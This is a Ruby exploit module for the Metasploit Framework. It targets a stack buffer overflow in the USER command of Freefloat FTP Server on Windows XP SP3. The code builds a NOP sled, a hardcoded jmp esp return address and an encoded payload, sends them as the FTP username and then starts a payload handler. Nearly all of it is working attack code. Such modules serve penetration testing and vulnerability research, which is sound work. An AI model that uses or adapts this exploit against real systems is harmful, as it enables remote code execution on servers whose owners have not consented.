##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Ftp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Freefloat FTP Server Username Stack Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow found in the USER command of the Freefloat FTP server.
   },
   'Author'         => [
      '0v3r',  # Initial Discovery
      'James Fitts' # Metasploit Module
     ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: $',
   'References'     =>
    [
     [ 'URL', 'http://www.exploit-db.com/exploits/15689' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'BadChars' => "\x00\x0a\x0d",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP SP3', { 'Ret' => 0x77def069 } ], # jmp esp from ADVAPI32.dll
    ],
   'DisclosureDate' => 'Dec 05 2010',
   'DefaultTarget' => 0))
 end

 def exploit
  connect

  print_status("Trying target #{target.name}...")

  buf = make_nops(230) + [target.ret].pack('V')
  buf << make_nops(50)
  buf << payload.encoded

  send_cmd( ['USER', buf] , false )

  handler
  disconnect
 end

end